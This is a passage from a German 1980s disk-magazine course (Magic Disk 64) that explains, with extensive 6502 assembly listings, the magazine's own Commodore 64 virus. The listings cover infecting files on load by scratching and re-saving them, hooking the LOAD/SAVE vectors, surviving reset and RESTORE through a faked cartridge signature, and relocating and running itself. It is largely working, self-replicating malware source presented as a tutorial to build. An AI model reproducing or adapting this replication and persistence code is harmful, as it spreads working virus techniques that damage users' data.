Anschließend wird nun der Filename umkopiert. Einen Zähler für die Länge des Filenamens haben wir ja noch vom Umkopieren im Y-Register stehen. Also brauchen wir immer nur einen Wert herunterzuzählen und zu prüfen, ob schon alle Bytes kopiert wurden. NAMEBUF ist übrigens auch ein Label für einen Speicher, diesmal am Ende des Quellistings, in dem 16 Bytes ( so lang darf der Filename maximal sein) für den Filenamen Platz sind.

Warum in diese Adresse "+2" gespeichert werden muß und nicht gleich an die Adresse NAMEBUF, wird später noch erklärt.
Jetzt wird erst der Akkuinhalt wieder vom Stack geholt und weiter geht' s mit den Betriebssystemroutinen.
Hiermit wären wir auch gleichzeitig am Ende dieses Kursteils angekommen. Nächsten Monat wollen wir dann die Fortpflanzung endlich ganz abhaken.
Bis dahin wünschen wir Ihnen jedenfalls viel Spaß beim Virenzüchten.

Heute sind wir am fünften und somit vorletzten Teil des Virenkurses angelangt. An dieser Stelle halten wir es für nötig, Ihnen zu sagen, wie Sie sich gegen den Magic Disk Virus schützen können. Zahlreiche Anrufe haben uns seit der Erstveröffentlichung des Virus erreicht. Alle hatten die Frage zum Inhalt, wie man sich gegen den Virus schützen kann oder wie man eine infizierte Diskette wieder bereinigt.
Die Lösung dieses Problems heißt " Protector" und ist ein kleines Programm, daß Sie neben den Utilities und Games dieses mal auf der Magic Disk finden.
Eine Anleitung erübrigt sich, da das Programm über eine gut dokumentierte Tastensteuerung verfügt.
Starten Sie den Protector bitte aus dem Game-Menü oder " von Hand" durch:
LOAD" PROTECTOR",8 und anschließendem RUN. Jetzt aber zurück zum eigentlichen Kurs.
Heute, beim 5 . Teil des Virenkurses, wollen wir endlich das Thema Fortpflanzung abhaken. In den letzten Teilen hatten wir uns ja schon gründlich damit auseinandergesetzt. Fassen wir also zusammen:
Wir wissen nun, daß sich unser Virus beim SAVEn eines Programms vermehren kann. Dies tut er, indem er sich VOR ein zu infizierendes Programm hängt. Soweit - sogut.
Die Probleme, die auftreten, wenn er sich beim Laden vermehren soll, nämlich die Tatsache, daß der Filename mitgerettet werden muß, haben wir auch gemeistert. Wir haben nun beim Ladevorgang den Filenamen sicher in einem Speicher stehen, so daß wir nun fortfahren können mit dem Vorgang der Vermehrung beim Laden.
Wie gesagt haben wir den Filenamen gerettet. Wie haben natürlich auch geprüft, ob unser Programm an den Basicstart ($0801) geladen wird, damit wir keine Daten zerstören können. Auch dies war der Fall, das heißt, alle Voraussetzungen, das File nun endgültig infizieren zu dürfen, sind erfüllt - bis auf eine, die wir aber erst testen können, nachdem wir das entsprechende Programm geladen haben. Erfüllen wir Ihm endlich diesen Wunsch und springen einmal zur Laderoutine. Anschließend haben wir dann erst einmal unser zu infizierendes Programm im Speicher stehen.
Um dies etwas besser zu erläutern folgt zunächst erst einmal ein Auszug aus dem Sourcelisting:
1520- jsr $ f4 e5 ; Sprung zur Laderoutine 1530- bcc inftest ; wenn kein Fehler, dann weiter 1540- rts ; sonst Goodbye. . .
In Zeile 1520 sehen Sie den Sprung zur Laderoutine.
Wenn der Prozessor von dort zurückkehrt, haben wir das Programm im Speicher. Da es aber nun auch sein kann, daß während dem Ladevorgang ein Fehler aufgetreten ist und somit eine Infektion verheerende Folgen haben könnte ( Zerstörung von Daten!), müssen wir erst noch auf Fehler testen. Dies ist sehr einfach, da die Loadroutine im Carryflag die Information zurückgibt, ob beim Laden ein Fehler aufgetreten ist oder nicht. Bei einem Fehler ist dieses Flag gesetzt und das Virusprogramm wird abgebrochen. Ansonsten wird weiterverzweigt zur Routine INFTEST:

1610 - inftest   ldy #17      ;Pointer laden         
1620 - loop7     lda $0801,y  ;Vergleichsbyte laden  
1630 -           cmp data,y   ;und vergleichen       
1640 -           bne scratch  ;ungleich, dann  weiter
1650 -           dey          ;Zähler runterzählen   
1660 -           bpl loop7    ;und weiter            
1670 -           jmp ($a002)  ;infiziert - auf BASIC 

Wie der Name schon vermuten läßt, dient diese Routine dazu, zu testen, ob ein geladenes Programm schon infiziert ist. Dies geschieht, indem die Routine prüft, ob die ersten 18 Bytes des geladenen Programms mit den ersten 18 Bytes des Virus übereinstimmen.
Daß nur die ersten 18 Bytes getestet werden, hängt mit dem Protector zusammen. WIrd mit ihm ein File geschützt, so werden vor dieses File die ersten 18 Bytes des normalen Virusprogramms gehängt. Beim Laden glaubt der Virus nun, daß er schon ein infiziertes Programm vor sich hätte und überspringt hier die Infizierung.
Sollte eines der ersten 18 Bytes ungleich den ersten Virusbytes sein, so wird sofort zur nächsten Routine ( SCRATCH) verzweigt. Andernfalls wird auf die Routine in $ a002 verzweigt - das ist der normale Warmstart des Commodore-Basic.
Nun eine kleine Einsicht in die SCRATCH-Routine:

1700 -scratch  lda #01          ;Logische Filenummer 
1710 -         ldx #08          ;Devicenummer        
1720 -         ldy #15          ;Kanalnummer         
1730 -         jsr setpar       ;Parameter setzen    
1740 -         lda lengnam      ;Namenslänge laden   
1750 -         clc              ;und                 
1760 -         adc #02          ;2 addieren          
1770 -         ldx #<(namebuff) ;Buffer-LO laden     
1780 -         ldy #>(namebuff) ;Buffer-HI laden     
1790 -         jsr setnam       ;Name setzen         
1800 -         jsr open         ;File öffnen         
1810 -         lda #01          ;und File #1         
1820 -         jsr close        ;wieder schließen    

Diese Routine tut nichts anderes, als das File, daß unser Virus infizieren soll, von Diskette zu löschen, um das infizierte gleich danach wieder draufschreiben zu können. Dies funktioniert denkbar einfach: Wie wir ja wissen, würde in Basic die Befehlsfolge zum Löschen eines Files auf Diskette folgendermaßen aussehen:

OPEN 1,8,15,"S:FILENAME" : CLOSE 1                   

Und genau das tun wir auch in Assembler. Wir öffnen ein File mit den Parametern:

Logische Filenummer = 1                              
Geräteadresse       = 8                              
Kanalnummer         = 15 (=Befehlskanal)             

Wie diese Parameter dann übergeben werden, wissen wir auch schon, nämlich mit der SETPAR-Routine im ROM des C64 . Weiter geht es mit der Übergabe des Filenamens.
Hier ist allerdings zu beachten, daß zur Länge des Filenamens 2 addiert werden muß, da der Name aufgrund des vorangestellten " S:" um 2 Zeichen länger wird.
Dies geschieht in den Zeilen 1740 bis 1760 . Die Speichervariable LENGNAM kennen wir ja schon; wir hatten darin die Länge des Filenamens zwischengespeichert.
In den folgenden zwei Zeilen sehen Sie jetzt auch, warum wir beim Laden bei der Angabe des Filenamens NAMEBUFF+2 angeben mußten. Sehen Sie sich einmal folgende Zeilen an. Sie stehen ganz am Ende des Quellcodelistings:

10190 - namebuff   .tx "s:"                          
10200 - ende       .by 0                             

Wie man sieht, haben wir den Filenamen ab dem Label " ende" abgelegt, das heißt, wir haben den Filenamen direkt hinter den Text " S:" in den Speicher geschrieben. Dieser Text fängt genau beim Label NAMEBUFF an. Also steht nun im Speicher ab NAMEBUFF folgender Text:
S: FILENAME ( Filename steht für irgendeinen Namen) . . . womit wir auch schon den Namen hätten, mit dem das zu Scratch-File geöffnet werden muß. Nun haben wir nur noch ein LOund ein HI-Byte von NAMEBUFF zu laden und SETNAM aufzurufen, was in den Zeilen 1770 bis 1790 geschieht.
Als nächstes rufen wir die OPEN-Routine des Betriebssystems auf. Sie öffnet ein logisches File mit den durch SETPAR übergebenen Parametern und dem durch SETNAM festgelegten Namen. Anschließend wird gleich die CLOSE-Routine aufgerufen, die genauso funktioniert wie der Basic-Befehl CLOSE, nur daß hier die Filenummer ( in diesem Fall 1) im Akku übergeben werden muß ( siehe Zeile 1810) .
Das wäre geschafft. Das alte Programm ist gelöscht, womit wir wieder Platz haben, das neue ( infizierte) Programm abzuspeichern. Vorher müssen wir allerdings noch etwas berücksichtigen: Es könnte ja sein, daß der User, der sein Prorgramm laden wollte, den Joker "*" benutzt hat, um den Programmnamen abzukürzen. Um zum Beispiel " FILENAME" zu laden, hat er einfach nur LOAD" FIL*",8 eingegeben.
Wir wissen aber, daß man keinen Programmnamen, der einen "*"- oder " ?"- Joker enthält, beim SAVEn eines Programmes nicht verwenden darf. Die Floppy würde einen SYNTAX ERROR zurücksenden. Um diesen Effekt zu verhindern, dient die nun folgende Routine ( sie folgt direkt im Anschluß an die SCRATCH-Routine) :

1840 -         ldy lengnam      ;Länge als Zeiger    
1850 -         lda namebuff+1,y ;letztes Zeichen     
1860 -         cmp #"*"         ;vergleiche mit "*"  
1870 -         bne cont         ;ungleich            
1880 -         dey              ;Zeiger runterzählen 

In Zeile 1840 laden wir die Länge des Filenamens in das Y-Register. Wir benutzen es nun als Pointer und holen uns das letzte Byte aus dem Namenspuffer ( hier heißt es NAMEBUFF+1) . Dann wird mit dem Stern (*) verglichen. Ist das letzte Zeichen kein Stern, so wird weiterverzweigt zur Routine CONT. Andernfalls wird die Filenamenlänge im Y-Register um 1 heruntergezählt, um den Joker auszuschließen. Dann geht es ebenfalls weiter mit der Routine CONT.
Das zu infizierende Programm wird nun unter einem kürzeren Namen abgespeichert, in unserem Beispiel ist es der Name " FIL" . Das könnte einen User stutzig machen, doch ist es die einzige Möglichkeit, das File wiedererkennbar abzuspeichern.
Doch nun weiter mit CONT. Da wir nun alle einleitenden Schritte erledigt haben, können wir gleich beim SAVEn fortfahren. Dazu rufen wir einfach die Routine SAVE des Betriebssystems auf, welche ein Programm auf Diskette abspeichert. Das ist genau die Routine, die wir schon früher so modifiziert haben, daß sich unser Virus vor das abzuspeichernde Programm hängt. Wir rufen also ganz normal SAVE auf - der Virus übernimmt dann schon den Rest.
Hier wieder ein kleiner Auszug aus dem Source-Listing. Wie die SAVE-Routine funktioniert, haben wir ja im 2 . Teil des Kurses bereits ausführlich besprochen.

1920 -cont  tya                 ;Namenslänge in Akku 
1930 -      ldx #<(namebuff)+2  ;Namenspuffer LO     
1940 -      ldy #>(namebuff)+2  ;Namenspuffer HI     
1950 -      jsr setnam          ;Name setzen         
1951 -      ldx #08             ;Geräteadresse laden 
1952 -      jsr setpar          ;Parameter setzen    
1960 -      ldx #01             ;Startadresse LO und 
1970 -      ldy #08             ;HI laden            
1980 -      stx $c1             ;und                 
1990 -      sty $c2             ;abspeichern         
2000 -      ldx $ae             ;Endadresse LO und   
2005 -      ldy $af             :HI laden            
2010 -      jsr save            ;SAVE aufrufen       
2020 -      jmp saveerror       ;und weiter...       

Wie Sie sehen, ein ganz normaler Aufruf, so wie wir ihn auch in Teil 2 schon hatten. Nur am Schluß wird weiterverzweigt auf SAVEERROR; die letzte Routine, die wir heute besprechen wollen:

2211 -saveerror lda status       ;Status laden       
2212 -          bne shit         ;<>, dann Fehler    
2213 -          rts              ;nicht, dann fertig 
2214 -shit      lda #<(errortext);Text LO            
2215 -          lda #>(errortext);Text HI            
2217 -          jmp strout       ;und ausdrucken     

Diese Routine fragt das Statusbyte ab, das haargenau der Statusvariablen ST in Basic entspricht. Ist ein Fehler beim SAVEn aufgetreten, z. B. DISK FULL oder ähnliches, so ist hier irgendein Bit gesetzt. Ist das der Fall, so wird weiterverzweigt zum Label SHIT.
Dort wird dann - wieder mit einer Betriebssystemroutine, nämlich STROUT - ein Text ausgegeben. Der auszugebende Text steht in den Zeilen 10075 bis 10120 :

10075 -errortext .by 13                              
10080 -.tx "Der Magic Disk-Virus ist in diesem"      
10081 -.by 13                                        
10090 -.tx "C64!!! Daten wurden zerstört !"          
10091 -.by 13                                        
10100 -.tx "Bitte Programm auf einer anderen Disk"   
10101 -.by 13                                        
10110 -.tx "abspeichern !!!"                         
10120 -.by 13,14,0                                   

Der Bytewert 13 steht für Carriage Return, um den Text ein wenig zu formatieren. Die 14 am Ende schaltet auf Kleinschrift um. STROUT kehrt nach dem Ausdrucken dieses Textes zum normalen Basic zurück.
Damit wären wir am Ende des 5 . Teils angelangt. Im 6 .
und letzten Teil in der nächsten Ausgabe erfahren Sie noch etwas über die Initialisierungsroutine und das kleine Gag-Programm.
Heute, im 6 . und letzten Teil des Virenkurses wollen wir noch die bisher unbehandelten kleinen, aber nicht unwichtigen Routinen besprechen, die unserem Virus das Leben im C64 ermöglichen.
Mittlerweile wissen wir ja schon, wie sich unser kleiner Freund vermehrt, nämlich mit Hilfe der LOADund SAVE-Vektoren, über die er sich sozusagen ins System " reinhängt" und sich somit bei einem Ladeoder Speichervorgang problemlos vor ein noch nicht infiziertes Programm hängen kann.
Nun wollen wir uns mit der Initialisierungsroutine beschäftigen, die z. B. die Aufgabe hat, eben diese Vektoren zu " verbiegen" . Der aufmerksame Leser wird sie sicher schon gefunden haben. Sie heißt sinnigerweise INIT und steht im Sourcelisting ab Zeile 2072 :

2072 -init      lda #01   ;Copyzähler                
2073 -          sta copy  ;initialisieren            

In diesen zwei Zeilen wird der Zähler für die Anzahl der bisher gemachten Kopien des Virus auf 1 gesetzt.
Dieser Zähler ist ein einzelnes Byte im Quelltext ( bei Zeile 2203), das jedesmal, wenn sich der Virus erfolgreich kopiert hat um 1 erhöht wird. Nach jeder Kopie prüft die Saveroutine nämlich, ob sich der Virus schon acht mal kopiert hat. Sollte dies der Fall sein, dann wird zu der bereits erwähnten Gagroutine verzweigt, die ab Zeile 5060 steht. Diese Routine läßt erst eine kleine Spriteanimation ablaufen und teilt dem verdutzten C64- Besitzer dann die Existenz des Virus mit. Hier ein Auszug aus der Saveroutine:

2810 -          jsr savecont                         
2812 -          jsr saveerror                        
2820 -;                                              
2830 -          asl copy    ;copy linksrotieren      
2840 -          bcs gag     ;Carry gesetzt, dann Gag 
2850 -          rts         ;noch nicht 8 mal kopiert

Die Zeilen 2810 und 2812 kennen Sie ja noch aus der letzten Ausgabe, deshalb erfolgt hier keine Erklärung. In Zeile 2830 wird der Inhalt der Speicherzelle COPY nach links rotiert. Das heißt, daß der Startwert ( nämlich 1), den wir am Anfang von INIT hineingeschrieben hatten, solange weitergeschoben wird, bis er ins Carryflag überläuft. Und da ein Byte acht Bit besitzt, muß acht mal rotiert werden, damit dieser Fall eintritt.
Wenden wir uns nun wieder der INIT-Routine zu:

2080 -init2    ldy #03     ;Zähler laden             
2090 -loop3    lda tab,y   ;Vektortabelle            
2100 -         sta $0330,y ;umkopieren               
2110 -         dey         ;Zähler herunterzählen    
2120 -         bpl loop3   ;Fertig?                  
2130 -;                                              
2140 -         ldy #08     ;Ja -> Zähler laden.      
2150 -loop4    lda cbm,y   ;Reset-Kennung            
2160 -         sta $8000,y ;umkopieren               
2170 -         dey         ;Zähler herunterzählen    
2180 -         bpl loop4   ;Fertig?                  
2190 -;                                              
2200 -         rts         ;Feritg!                  

Hier wird nun zweimal eine Tabelle weiterkopiert. Und zwar nach dem selben Schema, nach dem wir auch den Filenamen in der LOAD-Routine umkopiert haben.
In der ersten Schleife wird in die Bytes $0330 bis $0333 geschrieben. Dies sind die Bytes der LOADund SAVE-Vektoren ( Load=$0330,$0331 ; Save=$0332,$0333) .
Sehen wir uns nun die Tabelle an, die umkopiert wird:
10070- tab . wo load, save Hier haben wir es wieder mit einem sog. Pseudo-Opcode des Hypra-Ass Assemblers zu tun. Genau wie man bei dem Opcode " . eq" einer Konstanten einen Wert zuweist oder mit " . by 255" den Assembler dazu veranlaßt, an diese Stelle den Wert 255 zu schreiben, so wird mit dem " . wo"( wie WOrd, was eine Bezeichnung für ein 16- Bit-Wort ist, sowie " . by" die Bezeichnung für ein Byte zu 8 Bit ist) eine Konstante bzw. in unserem Fall ein Label im LO/ HI-Format hier abgelegt.
Die zweite Schleife der INIT-Routine ist für den RESET-Schutz zuständig. In der RESET-Routine fragt das Betriebssystem die Speicherzellen $8004 bis $8008 ab, ob hier der ASCII-Code " CBM80" steht. Sollte dies der Fall sein, so glaubt das Betriebssystem, daß ein Modul in den Expansion-Port gesteckt ist und es wird über den Vektor in $8000/$8001 gesprungen, anstatt einen " normalen" Reset auszuführen.
Diese Tatsache machen wir uns nun zu Nutze. Wir " simulieren" nämlich ein angestecktes Modul durch diese Kennung. Das Betriebssystem glaubt nun, es wäre ein Modul eingesteckt und springt über den Vektor in $8000/$8001, und damit genau in unsere eigene Virus-Resetroutine. Diese steht ab Programmzeile 930 :

930  -reset    stx $d016   ;Videocont. Steuerreg.2   
940  -         jsr $fda3   ;Interrupt vorbereiten    
950  -         jsr $fd50   ;RAM-Check                
960  -         jsr $fd15   ;Vektoren setzen          
970  -         jsr $ff5b   ;Video-Reset              
980  -         cli         ;IRQ zulassen             
990  -         jsr init2   ;Virus starten            
1000 -         jmp ($a000) ;BASIC-Kaltstart          

Diese Routine ist fast gänzlich aus dem normalen Betriebssystem übernommen. Der einzige Unterschied ist hier die Zeile 990 . Nachdem das Betriebssystem alle Vektoren wieder in den Originalzustand versetzt hat, müssen wir hier wieder den Virus initialisieren.
Es wird hier nicht auf INIT gesprungen, sondern auf INIT2, da ja der Zähler für die Anzahl der schon gemachten Kopien nicht neu gesetzt werden soll.
Vor einem RESET braucht sich unser Virus also nicht mehr zu fürchten. Was ihm jetzt noch zustoßen könnte, wäre ein Druck auf die RUN/ STOP-RESTORE- Tasten.
Diese Kombination haben wir aber schon mit abgefangen, nämlich ebenfalls durch die CBM80- Kennung. Ist diese vorhanden, so wird über den Vektor $8002/$8003 gesprungen, der natürlich ebenfalls in unser Virusprogramm zeigt. Und zwar auf die Routine, die ab Zeile 840 im Quellisting steht:

840  -restore  jsr $fd15                             
850  -         jsr $fda3                             
860  -         jsr $e518                             
870  -         jsr init2                             
880  -         jmp ($a002)                           

Gleiches Spiel wie bei RESET, nur weniger aufwendig, da hier weniger passiert.
Es folgt nun die Tabelle, die in der INIT-Routine umkopiert wird:

10050-cbm      .wo reset,restore                     
10060-         .tx "CBM80"                           

Jetzt möchte ich Ihnen noch die Funktion der Routinen ganz am Anfang des Sources erklären. Werfen wir einmal einen kleinen Blick auf den Beginn des Listings:

140  -data     .by $15,$08,$0a,$00,$93               
150  -.tx "2071:md-virus!"                           
160  -.by 0,0,0                                      
170  -;********************************              
180  -copyup   lda $af                               
190  -         pha                                   
200  -         nop                                   
210  -         ldy #$08                              
220  -         stx $5f                               
230  -         sty $60                               
240  -         ldx #<(realend)                       
250  -         ldy #>(realend)                       
260  -         stx $5a                               
270  -         sty $5b                               
280  -         ldx #$f0                              
290  -         ldy #$cf                              
300  -         stx $58                               
310  -         sty $59                               
320  -         jsr $a3bf                             
330  -         jmp xxxx                              

Dies sind die ersten Bytes unseres Virus, die auch als allererstes an die Floppy geschickt werden, wenn unser kleiner Freund sich fortpflanzt. Die ersten drei Zeilen stellen folgendes Basicprogramm dar:
10 SYS2071 : MD-VIRUS!
Mit dem SYS-Befehl wird die in Zeile 180 folgende COPYUP-Routine aufgerufen. Der Text " MD-VIRUS!" hat nur eine kommentierende Wirkung. In jener COPYUP-Rou- tine wird als erstes der Virus in einen Speicherbe- reich kopiert, wo er etwas sicherer aufgehoben ist, nämlich in den Bereich $ cbaf bis $ cff0 . Dies geschieht mit Hilfe einer Routine aus dem BASIC-ROM, nämlich der Routine MOVE. Sie wird folgendermaßen aufgerufen:
$5 f/$60 : Startadresse des zu kopierenden Blocks $5 a/$5 b : Endadresse des zu kopierenden Blocks $58/$59 : Neue Endadresse des zu kopierenden Blocks Startadresse:$ a3 bf Nachdem der Virus kopiert ist, muß dieser das infizierte Programm wieder nach unten kopieren, nämlich an den normalen Basic-Start $0801 . Dies macht die folgende Routine:

350  -start    lda #$36                              
360  -         sta $01                               
370  -;                                              
371  -         ldx #00                               
372  -         ldy #08                               
373  -         stx lab5+1                            
374  -         sty lab5+2                            
380  -         ldx #<(realend)                       
390  -         ldy #>(realend)                       
400  -         stx $fb                               
410  -         sty $fc                               
420  -         ldx $ae                               
421  -         ldy $af                               
423  -         stx $f9                               
424  -         sty $fa                               
460  -;                                              
470  -         ldy #00                               
475  -         ldx #01                               
480  -loop8    lda ($fb),y                           
490  -lab5     sta $0801,x                           
500  -         inx                                   
510  -         bne lab4                              
520  -         inc lab5+2                            
530  -lab4     jsr inccount                          
540  -         bcc loop8                             
640  -;                                              
660  -         ldy lab5+2                            
670  -         stx $ae                               
680  -         sty $af                               
690  -         stx $2d                               
700  -         sty $2e                               
710  -;                                              
720  -         lda #$37                              
730  -         sta $01                               
740  -;                                              
750  -         jst init                              
760  -         jsr $a659                             
770  -         jmp $a7ae                             

Diese Aufgabe kann allerdings nicht mehr von MOVE übernommen werden, da es auch sehr gut möglich sein kann, daß das infizierte Programm bis unter das ROM geht ( ab $ a000) . Also muß dieses ROM weggeblendet werden, und wir müssen mit einer eigenen Routine arbeiten. Diese steht hier in den Zeilen 480 bis 540 .
Die folgenden Zeilen haben noch die Aufgabe, die Basic-Vektoren neu auszurichten ( Anfang und Ende des Programms), da das Programm durch den Virus ja länger wurde. In Zeile 720 bis 730 wird das Basic-ROM wieder eingeblendet, nachdem es in den Zeilen 350 und 360 ausgeschaltet wurde. Anschließend wird noch INIT aufgerufen, um den Virus zu aktivieren.
In den Zeilen 760 bis 770 wird dann ein RUN-Befehl ausgeführt, der das Programm ganz normal startet.
Der Programmierung des kleinen " Gags" soll hier keine weitere Aufmerksamkeit geschenkt werden, da dies ja nur ein Nebeneffekt des Virus ist. Seine Programmierung ist außerdem nicht sehr kompliziert, so daß es jedem möglich sein sollte, diesen Programmteil zu durchschauen.
Nun sind wir also am Ende unseres Virenkurses angelangt. Ich hoffe, es hat Ihnen ein bißchen Spaß gemacht, der Arbeitsweise eines Virusprogramms gedanklich zu folgen. Sicher ist Ihnen aber auch einiges über die Funktionsweise eines Virusprogramms klar geworden. In diesem Sinne kann ich Ihnen nur noch viel Glück im " Kampf" gegen andere, nicht so harmlose Viren wie den MDV wünschen.
Sicher erinnern Sie sich noch an unsere Fragebogenaktion in der Magic Disk. Bei der Auswertung dieser Aktion ist uns aufgefallen, daß es immer noch sehr viele C64- Besitzer gibt, die Anfänger auf dem Gebiet der Programmierung Ihres C64 sind.
Aus diesem Grund haben wir uns entschlossen, die Rubrik " Kurs" in den nächsten Ausgaben nicht mehr so fachbezogen zu gestalten, sondern zunächst einen über mehrere Ausgaben gehenden Basic-Programmierkurs zu veröffentlichen.
Damit kommen wir dem Wunsch vieler Leser nach, die zwar Programmieren lernen wollen, sich aber scheuen, den manchmal dichten Dschungel der Fachliteratur zu durchwandern.
An den Basickurs werden sich dann wieder mehr fachbezogene Kurse anschließen. Mögliche Themen hierzu sind künstliche Intelligenz, Maschinensprache, Grafik und und und. Schreiben Sie uns Ihre Wünsche und Vorstellungen, denn Magic Disk 64 ist und bleibt ein Magazin von Lesern für Leser.